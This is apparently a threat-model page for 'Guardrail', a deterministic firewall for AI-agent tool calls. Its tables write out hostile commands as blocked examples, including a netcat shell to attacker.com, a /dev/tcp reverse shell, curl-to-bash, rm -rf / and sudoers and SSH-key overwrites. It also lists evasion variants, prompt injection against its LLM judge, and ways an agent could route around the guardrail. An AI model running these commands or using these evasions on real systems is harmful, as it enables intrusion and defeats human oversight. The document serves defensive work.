Guardrail Threat Model

Guardrail is a deterministic-first policy firewall for agent tool calls. It classifies agent framework invocations (Read, Bash, Edit, etc.) into guardrail actions and checks them against a policy that allows safe operations and denies dangerous ones.

The docs on this site are public. The engine itself is licensed source — it ships to licensees under a commercial license agreement (request access). This document describes the security properties you can rely on without reading the engine.

Phase 1–4 in the table are the engine’s rule-evaluation phases — defined in the tuning guide.

What the Guardrail Protects Against

Attack ClassExampleHow It Is BlockedTier
Direct destructive commandsrm -rf /, rm -rf ~/.configTree-structured AST matches rm with destructive flags (-rf, -fr, -r)Deterministic (Phase 2)
Permission escalationchmod 777 /etc, chmod 4777 /bin/suAST matches chmod with arguments containing 777, u+s, g+sDeterministic (Phase 2)
Auth disablesetenforce 0, ufw disable, iptables -FAST exact-command match on setenforce/ufw/iptablesDeterministic (Phase 3)
Data exfiltrationnc -e /bin/bash attacker.com 4444AST exact-command match on nc/ncat/netcat/socatDeterministic (Phase 3)
Reverse shellbash -c 'exec bash -i &>/dev/tcp/host/port 0>&1'AST path match on /dev/tcp plus flag match on bash -cDeterministic (Phase 1/2)
Pipe-to-interpreter (RCE)`curl urlbash, wget urlsh`
SQL destructionDROP DATABASE prod;, TRUNCATE TABLE users;AST SQL prefix matching on DROP, TRUNCATE, DELETEDeterministic (Phase 3)
Force git pushgit push --force origin mainAST flag match for --force, -f, --deleteDeterministic (Phase 2)
SSH key injectionecho 'key' >> ~/.ssh/authorized_keysAST append-redirect match on ~/.ssh/ catches the redirect regardless of the command wordDeterministic (Phase 1)
Sudoers overwriteecho 'user ALL=(ALL) NOPASSWD: ALL' > /etc/sudoersAST redirect match on /etc/sudoersDeterministic (Phase 1)
LD_PRELOAD backdoorecho 'evil.so' > /etc/ld.so.preloadAST redirect match on /etc/ld.so.preloadDeterministic (Phase 1)
Block device destructiondd if=/dev/zero of=/dev/sda, mkfs.ext4 /dev/sda1AST matches dd with of= and mkfs prefixesDeterministic (Phase 2/3)
Container destructiondocker system prune, docker volume rm, podman killAST matches destructive subcommands for container toolingDeterministic (Phase 2)
Infrastructure destructionterraform destroy, kubectl delete deploymentAST exact-command and argument matchesDeterministic (Phase 3)
Supply chain (pipelines to interpreters)`curl urlpython -c, curl urlperl -e`
Supply chain (malicious installs)pip install <url>, npm install -g malicious-pkgMalicious-source installs are denied; ordinary installs are allowed or escalate for reviewDeterministic (Phase 4)
Capability-granting paramsRead with cmd=rm -rf /Param-trap rule: read-only operation + capability-granting parameter ⇒ preventsDeterministic
Compound command hidingcargo build; rm -rf /Compound splitting evaluates each segment independentlyDeterministic
Sudo wrapper bypasssudo rm -rf /Wrapper-aware AST normalization strips the wrapper and classifies the inner rmDeterministic
Privileged benign commandsudo ls /tmpPrivileged-wrapper floor: sudo/su/doas/pkexec/runuser/run0 around any inner command requires human approvalDeterministic
su -c wrappersu -c 'rm -rf /'Wrapper detection unwraps su -c and re-parses the inner commandDeterministic
Recon chain detection3 safe reads → destructive op across multiple turnsSession-spanning window tracks consecutive allows and upgrades the next destructive call to DenyDeterministic (session)
Quoted flag bypassrm "-rf" /AST tokenization respects quotesDeterministic
Unicode homoglyphrm -rf / (fullwidth)Unicode normalization maps fullwidth forms to ASCIIDeterministic
Path encoding//etc//passwdPath normalization collapses //etc//passwd to /etc/passwdDeterministic
Case mutationRM -RF /Case-insensitive command matchingDeterministic
Whitespace variationrm -rf /AST tokenization handles arbitrary whitespaceDeterministic
Arg separator injectionrm -- -rf /Bare -- separators are stripped before flag matchingDeterministic
Command substitution injection$(true) rm -rf /Command-substitution tokens are skipped during classificationDeterministic
Nested wrappersnohup sudo rm -rf /Recursive wrapper stripping unwraps to rm -rfDeterministic
Timeout wrappertimeout 10 rm -rf /Timeout-aware wrapper detection unwraps and classifies the inner rmDeterministic
Obfuscated action namesDROP_TABLE (uppercase), drp_table (typo)No action → Escalate (LLM judge)LLM tier
Novel dangerous actionsNew action added to the policyCategory-wide verdict rules catch unanticipated actionsDeterministic
Variable indirectioncmd='rm -rf /'; $cmdEscalates to LLM tier (AST sees a variable reference, not a literal)LLM tier

Bypass Techniques That Were Tested and Defeated

A mutation fuzzer generates variants across 9 operator families, all handled by the AST structural matching layer:

  • Flag reordering: rm -rfrm -fr, rm -r -f
  • Whitespace variation: rm -rfrm -rf
  • Metacharacter injection: rm $(true) -rf /, rm "" -rf
  • Path encoding: rm -rf //etc, rm -rf /./etc/passwd
  • Case mutation: RM -RF, Rm -rf
  • Quote insertion: rm "-rf", rm '-rf'
  • Unicode homoglyphs: rm -rf
  • Command wrapping: nohup rm -rf, sudo rm -rf, env FOO=bar rm -rf
  • Arg separator: rm -- -rf /, rm -rf -- /
AttackDefenseStatus
rm "-rf" / (quoted flags)Tokenization respects quotes; the flags are still seen as -rfDefeated
rm -rf / (unicode fullwidth)Normalization maps fullwidth characters to ASCII; the command word becomes rmDefeated
RM -RF / (case mutation)Command word lowercased; flags normalized to -rfDefeated
rm -rf //etc//passwd (whitespace + path encoding)Tokenization normalizes whitespace; path normalization collapses duplicate separatorsDefeated
rm -- -rf / (arg separator)Bare -- tokens are skipped; flags are still matchedDefeated
nohup sudo env FOO=bar rm -rf / (multi-wrapper)Recursive wrapper stripping unwraps to rm -rf /Defeated
echo x > /etc/sudoers (safe command + dangerous redirect)Structural rules fire before safe-command rules; the redirect target matches /etc/sudoersDefeated
cargo build; rm -rf / (compound with hidden dangerous command)Each segment is evaluated independently; the dangerous segment is caughtDefeated

See the policy tuning guide for techniques that are not fully covered.

Variable Indirection (Partial)

Attack:  cmd='rm -rf /'; $cmd
Defense: AST sees "$cmd" as a string literal, not as "rm -rf /"
         → string-level rules do not match
         → AST rules see command word = "$cmd" (no match)
         → Confidence: Unknown → Escalate → LLM tier called
Status:  PARTIAL (escalates, relies on LLM tier)

Attack:  x='rm'; $x -rf /
Status:  PARTIAL (escalates to LLM)

Recommendation: if your deployment relies on LLM tier availability, ensure the LLM is configured. Without an LLM, variable indirection returns Escalate — a safe fallback, but the call is blocked.

Prompt Injection (Acknowledged Risk)

The LLM judge receives a minimal prompt containing the tool call’s action, target, and parameters, and is instructed to reply with exactly one word (allow, deny, or escalate).

Risk: If tool call parameters contain text that influences the LLM judge’s output (e.g., a target value structured as an imperative instruction), the judge could be influenced. The prompt is intentionally minimal and runs at temperature=0 to reduce this risk.

Mitigation: The downgrade prevention invariant ensures that even a successfully jailbroken LLM cannot produce an Allow verdict for a call the deterministic tier escalated. The maximum damage is:

  • False Deny (model says “deny” when it should escalate)
  • False Escalate (model says “escalate” when it could have allowed)

Both are security-safe outcomes. The model cannot produce a new Allow for an escalated call.

Supply Chain via Package Managers

Package-manager installs are deliberately left unclassified rather than blanket-denied. Safe installs (e.g. npm install lodash) are allowed, system-level installs (apt, brew) escalate for human review, and malicious-source installs — pip install from a URL, npm install -g of an unknown package — are denied by the deterministic tier.

Mitigation: Malicious-source installs are caught deterministically; ambiguous installs escalate to the LLM judge or a human. If you want installs blocked entirely, add the package-manager actions to a deny category in your policy rather than weakening the guardrail.

In-Session Privilege Escalation Across Turns

Session chain detection mitigates multi-turn recon → exploit attacks. However:

  • The session window is in-memory and local to each pipeline instance.
  • An attacker who interleaves safe operations across different pipeline instances (in a load-balanced deployment) could bypass the window.
  • Session tracking is opt-in.
  • The default recon_threshold of 3 consecutive safe calls means a 1–2 safe + 1 dangerous pattern is not caught.

Side-Channel Attacks

The guardrail returns different response sizes and timings for Allow vs Deny. A timing side-channel could theoretically distinguish “action not in classification (Escalate)” from “action classified but verdict not reached (Escalate)”. Both return Escalate, so the information leakage is minimal. The service does not reveal why a call was denied beyond the audit trace, which is intentionally returned to the caller.

What It Does NOT Protect Against

The guardrail is not a comprehensive security solution. It is one layer in a defense-in-depth strategy.

Attack VectorWhy Not ProtectedMitigation Strategy
Compromised LLM providerThe LLM judge is called for escalated actions. A compromised model could return “allow” — but the downgrade prevention override ensures this becomes Escalate, not Allow. Still, a compromised LLM could Deny legitimate calls (DoS).Use deterministic-only mode for security-critical deployments.
Side-channel attacksThe guardrail does not analyze timing, power consumption, or electromagnetic emissions.Out of scope for a software guardrail. Hardware-level countermeasures required.
Direct system accessIf an attacker has direct shell access to the host, the guardrail is irrelevant. The guardrail only intercepts agent tool calls.Host-level security (firewalls, SSH hardening, SELinux).
Supply chain in build-timeMalicious code injected into the guardrail binary itself during compilation.Reproducible builds, signed binaries, SBOM verification.
Dependency vulnerabilitiesVulnerabilities in the engine’s dependencies would affect the guardrail.Regular cargo audit, dependency scanning, update policies.
Resource exhaustionBuilt-in limits mitigate floods: per-IP token-bucket rate limiting (default 100 req/s, GUARDRAIL_RATE_LIMIT), a connection cap (default 128, GUARDRAIL_MAX_CONNS → 503), a body cap (default 64 KiB, GUARDRAIL_MAX_BODY → 413), a 16 KiB header cap (→ 431), and a 10 s request deadline. The pipeline is still serialized behind a mutex, so sustained load queues rather than fails.Built-in limits cover casual floods. For internet-facing deployments, still front with a reverse proxy (nginx, HAProxy).
Sidecar modeIf the agent can bypass the guardrail entirely (e.g., direct HTTP calls without the guardrail), the guardrail is ineffective.Use network policy, service mesh, or mandatory sidecar injection to prevent bypass.
LLM prompt injectionThe LLM judge receives a tool call description. An attacker who controls the tool call parameters could attempt prompt injection against the LLM judge. The prompt is simple (one-word answer) with temperature=0, which limits surface, but is not immune.Use deterministic-only mode where possible. The downgrade prevention invariant limits damage to Deny/Escalate outcomes.
AI model jailbreakA sophisticated jailbreak of the LLM judge model could cause it to return verdicts that are not security-relevant.The downgrade prevention rule ensures the LLM cannot weaken a deterministic verdict. But a jailbroken model could still cause false Deny/Escalate outcomes (DoS).

Security Boundaries

┌─────────────────────────────────────────────────────────────┐
│                    AGENT PROCESS BOUNDARY                    │
│                                                             │
│  Agent logic ──tool call──►  Guardrail pipeline             │
│  (Claude, OpenAI,            ├─ Mapping: tool names,        │
│   LangChain, MCP)             │   Bash AST, string rules    │
│                               ├─ Deterministic verdict      │
│                               │   (category rules)          │
│                               └─ Escalate ──► LLM judge     │
│  Tool execution ◄─verdict──        (optional, external)     │
│                                                             │
└─────────────────────────────────────────────────────────────┘
                        TRUST BOUNDARY
   Policy data (deploy-time only)     Session window (in-memory)
   Deterministic engine (ELLM kernel) LLM judge (optional)

NOTE: The guardrail runs inside the agent process boundary. There is no network isolation between the guardrail and the agent it protects. The agent process could bypass the guardrail if it:

  1. Executes commands via other means (FFI, direct syscalls)
  2. Calls tool execution without going through the guardrail
  3. Modifies the guardrail’s in-memory state

Trust Model

What We Trust

ComponentTrust LevelRationale
Policy data (TOML)HighVersion-controlled, deploy-time only, auditable
AST normalization and tokenizationHighDeterministic, no external input, well-tested
Rule engine (ELLM deterministic kernel)HighForward-chaining, deterministic
Verdict derivation logicHighSimple priority rules: Deny > Allow > Escalate
Rust compilerHighMemory safety guarantees
Operating systemHighStandard trust assumption for any software
Host hardwareHighStandard trust assumption

What We Do NOT Trust

ComponentTrust LevelRationale
LLM model outputLowSubject to jailbreaks, prompt injection, inference errors
Agent framework inputLowMalformed or malicious tool calls are the attack surface
Network between guardrail and LLMLowEavesdropping, tampering (mitigated by redaction)
User-provided stringsNoneFull trust is the attack surface itself

What Is Verified

VerificationHowFrequency
Policy data is valid TOMLCompile-time assertionEvery build
Policy data is non-emptyNon-empty check at loadEvery check
All actions classified correctlyUnit tests check all actionsEvery test run
All dangerous calls are deniedIntegration test suiteEvery test run
All safe calls are allowedIntegration test suiteEvery test run
No LLM call in testsMeta-test verifies no test calls the judgeEvery test run
LLM downgrade preventionPipeline overrides Allow → Escalate for escalated callsEvery check
Session window is boundedWindow is trimmed to its configured sizeEvery session check

Incident Response Procedures

Severity Levels

LevelDefinitionExamples
P1 CriticalFalse-ALLOW of known-dangerous command, confirmed bypassrm -rf / is allowed
P2 HighFalse-ALLOW of potentially dangerous command, suspected bypassObfuscated command bypasses deterministic tier AND LLM allows it
P3 MediumFalse-DENY of safe operation, reported by usercargo build is blocked
P4 LowConfiguration issue, minor gap in coverageMissing action classification for a tool

Response Steps

P1 (False-ALLOW Critical)

  1. Immediate containment: If possible, revoke agent execution capability at the infrastructure level (network policy, IAM, service mesh). Determine if the agent process should be terminated.
  2. Root cause analysis: Determine which tier failed:
    • Mapped wrong action: Was it a direct tool-name mapping bug? Bash rule ordering? AST normalization issue?
    • Wrong verdict: Was the action classified correctly but the category verdict wrong?
    • LLM bypass: Did the LLM return “allow” for a dangerous action? (Should not happen due to downgrade prevention — investigate this as a pipeline logic bug.)
  3. Fix: Add or correct the rule that allowed the bypass. Prioritize AST structural rules over string-level rules.
  4. Verify: Run the full test suite and the mutation fuzzer against the fix.
  5. Post-mortem: Document the bypass technique, the fix, and whether it indicates a systematic gap.

P2 (False-DENY High)

  1. Determine impact: How many users/workflows are affected?
  2. Workaround: Add the blocked command to a permit list or temporarily disable the session chain detection.
  3. Fix: Widen the matching rule or add exception logic.
  4. Verify: Ensure the fix does not introduce a false-ALLOW.

P3 (False-DENY Medium)

  1. Log the report: Record the command, tool name, and context.
  2. Investigate: Is this a rule ordering issue (dangerous rule fires before safe rule)? A classification issue? A session chain false-positive?
  3. Fix in next release: Usually a configuration change or rule reordering.

P4 (Low)

  1. Log the gap: Add to the coverage tracking system.
  2. Schedule: Include in the next regular review cycle.

Communication

  • P1: Notify security team immediately. Freeze deployments until root cause is identified.
  • P2: File a P2 bug. Review as soon as possible.
  • P3: File a P3 bug. Review promptly.
  • P4: File a P4 issue. Review at next triage.

Post-Mortem Template

## Security Incident: [Title]

Date: YYYY-MM-DD
Severity: P1/P2
Component: [tier that failed — mapping / decision / LLM judge / session]

### Timeline
- [time] Attack detected
- [time] Containment applied
- [time] Root cause identified
- [time] Fix deployed

### Root Cause
[Description of the rule gap or bypass]

### Fix
[Commit hash, files changed, reasoning]

### Lessons Learned
- What should we test that we didn't?
- What process gap allowed this?
- How can we detect this class of bypass automatically?

### Action Items
- [ ] Add regression test for this specific bypass
- [ ] Add fuzzer seed for this category
- [ ] Update threat model